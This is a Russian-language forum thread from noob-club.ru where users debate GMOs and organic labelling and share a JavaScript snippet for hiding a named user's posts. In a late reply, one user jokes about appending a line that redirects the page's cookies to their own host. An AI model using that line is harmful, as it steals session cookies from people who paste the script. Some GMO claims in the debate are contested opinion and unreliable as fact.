[AwakumRu]

До нубклуба добралась политическая реклама?

А как то можно добавить человека в игнор не логинясь на сайте? А то на рабочем компе не очень удобно

Можно. Ставьте дополнение для выполнения js кода в своем браузере. Ищется по "Run Javascript" в вашем магазине дополнений. В Google Chrome это "Run Javascript" - так и называется. Устанавливаете, кликаете на него, находясь на нубклабе, вводите следующее, если хотите скрыть сообщения только от него:

Код: [Выделить]

document.querySelector('a[href$="141391"').closest('div[class*=" windowbg"]').style.display = "none";
Если хотите скрыть так же и тех, кто его цитирует, то код будет такой:

Код: [Выделить]

let nicknames = ["WowIsDead64", "Чей-то еще ник"]; // список ников, сообщения и цитаты которых хотите скрыть
let hrefs = document.querySelectorAll('div[class*=" windowbg"] a'); // поиск ссылок в каждом сообщении
nicknames.forEach((nick) => { // сравнение каждого никнейма в списке
  hrefs.forEach((href) => { // с текстом ссылке
    if (href.innerText.search(nick) != -1) { // если ника в тексте нет, идем дальше
      href.closest('div[class*=" windowbg"]').style.display = "none"; // иначе скрываем сообщение
    }
  });
});


Ставите галку "Enable on noob-club.ru" и жмёте "Save and Run", и готово.

[iamilich]

   Проблема не в самой теме "Генной модификации", а в недобросовестных компаниях, которые в поисках прибыли могут -
подтасовать результаты исследований своих продуктов. Подобные компании могут как немножко умолчать, так и полностью подделать результаты.

ничего, что это при обычной селекции производитель может не проводить никакие тесты. а ведь там как раз используют нехилые мутагены, тчобы быстрее достичь нужного разнообразия.
а при гмо испытания идут в полном объеме. включая научную публикацию. да и сам инструмент этот гораздо точнее.

кстати, в комиксе указывалась выведенная "естественным" путем ядовитая картошка.

   Даже компания которая честно, серьезно и добросовестно относится к своей работе, может немножко недоглядеть или что-то упустить, ввиду недостатка бюджета или человеческих ресурсов. И хорошо, если при последующей экспертизе, ввиду человеческого фактора сотрудники комиссии не поставит штамп "Продукт прошел проверку"! В подобных случаях конечный продукт повлияет на жизнь и здоровье тысяч людей, а так же на следующие поколения.

ругайся так на все новые сорта яблок, клубники, картошки и всего остального. селекционные сорта вообще никто не заставляет тетстировать. в отличие от ГМО-культур.

   К тому же, у нас нет нормальной маркировки на продуктах. В лучшем случае, где-то маленькими буквами напишут что продукт содержит ГМО, а в худшем вообще умолчат.

начнем с того, что у нас есть обязательная маркировка. но у нас практически нет таких товаров. их найти нереально.

   Вы так же не можете быть уверены, что ваш(а) "избранник(ца)" или вашего ребенка не "исказила" свою днк, и дети, и внуки  не родятся с какими-нибудь дефектами. И Хорошо, если ребенок родится с "особенным цветом глаз", а не в какой-то счастливый момент её(его) жизни, ей(ему) поставят смертельный диагноз.

погоди, ты на голубом глазу утверждаешь, что у людей с генетическими болезнями, первопричиной является гмо-еда их или их родителей?
знаешь, что сильнее влияет на целостность днк в сперме/яйцеклетке? курение, алкоголь, наркотические вещества. повышенные содержания холестерина и т.п. 
картошка с геном помидора там не фигурирует от слова совсем.
Но чаще всего при генетических заболеваниях просто всплывают рецессивные гены, которые обнаружились у обоих родителей и вот они встретились и зажгли.

  Около 10 лет назад, после тяжелой пневмонии,  несколько врачей мне ошибочно поставили диагноз "ИФА". А на вопрос что это и как лечить, сказали, мол, что иногда ДНК может немножко "сломаться", такое бывает, мы сделаем все что сможем... И обрадовали 15-ти летнюю девочку и ее родителей, что два-три года оставшейся жизни она будет медленно задыхаться. К счастью, позже попался врач, который опроверг этот диагноз.

а то бы девочка умерла за 2-3 года.

P.S.
иди в тот же загон, что антипрививочники, любители гомеопатии и прочие антинанаучные фрики.

[iamilich]

"Природа знает, что делает" - всегда эта фраза раздражала. Природа (а точнее, эволюция) ничего не знает, она неодушевлённая, сознанием не обладает. Никакой цели у неё нет и никогда не было. Цель есть у живого организма - выжить и дать потомство. А у человека (в описываемом случае с яблоками) интерес совсем другой - чтобы тело этого живого организма было вкуснее.

И подороже это можно было бы продать. И особенно хорошо, если при "производстве" можно немножко сэкономить.

дороже всего продаются продукты с припиской "эко".
в 90% случаев они те же самые и из тех же мест, что и лежащие рядом. но с неплохой наценкой, которые некоторые называют "налогом на тупость"

[Lorden96]

g@vno одним словом

[MadGoblin]

le cringe

[Melhora]

"Природа знает, что делает" - всегда эта фраза раздражала. Природа (а точнее, эволюция) ничего не знает, она неодушевлённая, сознанием не обладает. Никакой цели у неё нет и никогда не было. Цель есть у живого организма - выжить и дать потомство. А у человека (в описываемом случае с яблоками) интерес совсем другой - чтобы тело этого живого организма было вкуснее.

И подороже это можно было бы продать. И особенно хорошо, если при "производстве" можно немножко сэкономить.

дороже всего продаются продукты с припиской "эко".
в 90% случаев они те же самые и из тех же мест, что и лежащие рядом. но с неплохой наценкой, которые некоторые называют "налогом на тупость"

Не стоит обобщать, эко продукты - это не только вполне себе успешный коммерческий бренд, но и значительно отличающийся в плане производства товар. Люди затрачивают много усилий чтобы их сделать, поэтому и требуют с тебя больше денег. Отличаются ли они от "фабричных" продуктов? Ну формально отличаются, причем любого типа продукция, какая-то сильно, какая-то не очень, но в любом случае "техпроцесс" создания любого "изделия" (даже если это "изделие" - живой организм) всегда имеет какое-то влияние.

Ну а что касается налога на тупость - ну с таким подходом покупать айфон - это тоже налог на тупость. Я предлагаю не касаться этой темы, люди покупают то, что ХОТЯТ купить, если им так лучше, то пусть так и будет, их выбор (тоже имеющий место быть)

[Райзе]

Стоит ещё добавить заложенную бесплодность самых хороших ГМ сортов - первый/второй урожай уже не имеет нормальных семян, чтобы фермеры были вынуждены покупать новые партии у генных инженеров снова и снова, аля зависимость. Не такие уж эти инженеры добрые и хорошие о) Не плохие, но и не хорошие.

Да-да, это все заговор не плохих инженеров-рептилоидов, а вовсе не банальный закон сохранения, ведь генные модификации в основном и заключаются в том, что растение вместо выращивания полноценных семян, тратит соки на выращивание съедобной мякоти.
Вот что на самом деле плохо в ГМО, так это то, что всё ГМО сосредоточено в руках одной Монсанто, которая, мягко говоря, не страдает излишней открытостью. А наши заботливые государства (не про Россию сейчас речь) не торопятся создавать альтернативы.

[vsa`R1SK]

До нубклуба добралась политическая реклама?

А как то можно добавить человека в игнор не логинясь на сайте? А то на рабочем компе не очень удобно

Стоп, таких, как этот пациент, можно как-то блокировать?

[iamilich]

Не стоит обобщать, эко продукты - это не только вполне себе успешный коммерческий бренд, но и значительно отличающийся в плане производства товар. Люди затрачивают много усилий чтобы их сделать, поэтому и требуют с тебя больше денег. Отличаются ли они от "фабричных" продуктов? Ну формально отличаются, причем любого типа продукция, какая-то сильно, какая-то не очень, но в любом случае "техпроцесс" создания любого "изделия" (даже если это "изделие" - живой организм) всегда имеет какое-то влияние.

тут такая штука. магазины сейчас работают с оптовиками. нет, какой-нибцудь глобус гурмэ конечно может себе позволить реализовывать продукцию, выращенную вручную. но если говорить про масс-маркет, то там крупные поставщики. плюс иногда небольшие хозяйства в рамках "местный производитель". да. можно много найти товаров с пометками "эко", "био", "органик" и прочими ухищрениями маркетологов. но в сопроводительной документации, как правило, видно, что все это произзводится таким же способом, зачастую там же и из того-же сырья, что и лежащие рядом товары без этих приписок.
возможно, есть исключения, но их найти не так уж и просто. ценой они будут отличаться не в 2 и не в 3 раза. а по своим биохимическим свойствам, зачастую, будут не то что не превосходить стандартные изделия, но и уступать им.

а причина проста. эта маркировка имеет добровольный характер, либо не проверяется, либо проверяется организацией, зарегистрировавшей такой лейбл. и в 99% такая проверка ограничивается уплатой взносов.

[pro100tehb]

До нубклуба добралась политическая реклама?

А как то можно добавить человека в игнор не логинясь на сайте? А то на рабочем компе не очень удобно

Стоп, таких, как этот пациент, можно как-то блокировать?

В шапке сайта: Профиль - Изменить профиль - списки друзей и игнорируемых - изменить список игнора - далее разберешься

[Heruwim]

Как-то так себе. Стоит ещё добавить заложенную бесплодность самых хороших ГМ сортов - первый/второй урожай уже не имеет нормальных семян, чтобы фермеры были вынуждены покупать новые партии у генных инженеров снова и снова, аля зависимость. Не такие уж эти инженеры добрые и хорошие о) Не плохие, но и не хорошие.

Во-первых, нашему прекрасному государству ничего не мешает создавать ГМ сорта без заложенного бесплодия. Ах да, мешает, у нас у власти мракобесы, которые запрещают ГМО и тупо пилят бабло. Во-вторых, это сделано не только "против" фермеров, но и для того, чтобы такие растения не распространялись в дикой природе.

[Melhora]

Не стоит обобщать, эко продукты - это не только вполне себе успешный коммерческий бренд, но и значительно отличающийся в плане производства товар. Люди затрачивают много усилий чтобы их сделать, поэтому и требуют с тебя больше денег. Отличаются ли они от "фабричных" продуктов? Ну формально отличаются, причем любого типа продукция, какая-то сильно, какая-то не очень, но в любом случае "техпроцесс" создания любого "изделия" (даже если это "изделие" - живой организм) всегда имеет какое-то влияние.

тут такая штука. магазины сейчас работают с оптовиками. нет, какой-нибцудь глобус гурмэ конечно может себе позволить реализовывать продукцию, выращенную вручную. но если говорить про масс-маркет, то там крупные поставщики. плюс иногда небольшие хозяйства в рамках "местный производитель". да. можно много найти товаров с пометками "эко", "био", "органик" и прочими ухищрениями маркетологов. но в сопроводительной документации, как правило, видно, что все это произзводится таким же способом, зачастую там же и из того-же сырья, что и лежащие рядом товары без этих приписок.
возможно, есть исключения, но их найти не так уж и просто. ценой они будут отличаться не в 2 и не в 3 раза. а по своим биохимическим свойствам, зачастую, будут не то что не превосходить стандартные изделия, но и уступать им.

а причина проста. эта маркировка имеет добровольный характер, либо не проверяется, либо проверяется организацией, зарегистрировавшей такой лейбл. и в 99% такая проверка ограничивается уплатой взносов.

На счет биофихических свойтсв - весьма спорное утверждение. Разумеется, я не буду возражать что биохимия и пищхим ушли далеко в своем развитии за последнее (лет ~70) время, и вообще биология - самая быстроразвивающаяся наука на данный момент, но все таки биология - не физика, которую изучили вдоль и поперек на ближайшие лет 300, в ней нет белых пятен неизученного, в ней скорее есть черные пятна того, что нам определенно точно известно.
Офк, мы можем сказать что в этом лотке куриной печени условно говоря есть ровно столько кобаламина, сколько человеку может понадобиться на ближайшие 3-4 недели, но в целом, биохимические цепочки веществ в организме изучены не особо хорошо. В этом плане как мне кажется стоит (ИСКЛЮЧИТЕЛЬНО МОЕ МНЕНИЕ) придерживаться концепции супернатурализма. Я конечно не призываю всех покупать ружья и идти в тайгу за истинно-экологичной олениной, но если можно минимизировать влияние антропогенного воздействия - это нужно делать.
В конце концов, люди питаются рукотворными продуктами всего ничего, когда там сельское хозяйство возникло - тысяч 10-15 лет назад? По меркам эволюции совсем крошечный срок, прогнозировать к чему это приведет в перспективе - невозможно, но можно точно сказать что явно к чему то приведет.

[f0x]

До нубклуба добралась политическая реклама?

А как то можно добавить человека в игнор не логинясь на сайте? А то на рабочем компе не очень удобно

Можно. Ставьте дополнение для выполнения js кода в своем браузере. Ищется по "Run Javascript" в вашем магазине дополнений. В Google Chrome это "Run Javascript" - так и называется. Устанавливаете, кликаете на него, находясь на нубклабе, вводите следующее, если хотите скрыть сообщения только от него:

Код: [Выделить]

document.querySelector('a[href$="141391"').closest('div[class*=" windowbg"]').style.display = "none";
Если хотите скрыть так же и тех, кто его цитирует, то код будет такой:

Код: [Выделить]

let nicknames = ["WowIsDead64", "Чей-то еще ник"]; // список ников, сообщения и цитаты которых хотите скрыть
let hrefs = document.querySelectorAll('div[class*=" windowbg"] a'); // поиск ссылок в каждом сообщении
nicknames.forEach((nick) => { // сравнение каждого никнейма в списке
  hrefs.forEach((href) => { // с текстом ссылке
    if (href.innerText.search(nick) != -1) { // если ника в тексте нет, идем дальше
      href.closest('div[class*=" windowbg"]').style.display = "none"; // иначе скрываем сообщение
    }
  });
});


Ставите галку "Enable on noob-club.ru" и жмёте "Save and Run", и готово.

Как мило, можно в этот код добвить что-то из серии

Код: [Выделить]

window.location='http://myip/?cookie='+document.cookie и пошалить

[Dub]

За Гельфанда респект! Советую всем его ролик в рубрике "А поговорить?" очень интересно и доступно обсудили вирусы и прочее, для домашнего понимая топчик.

[Akvoridok]

Уважаю Анахорета еще с древних времён!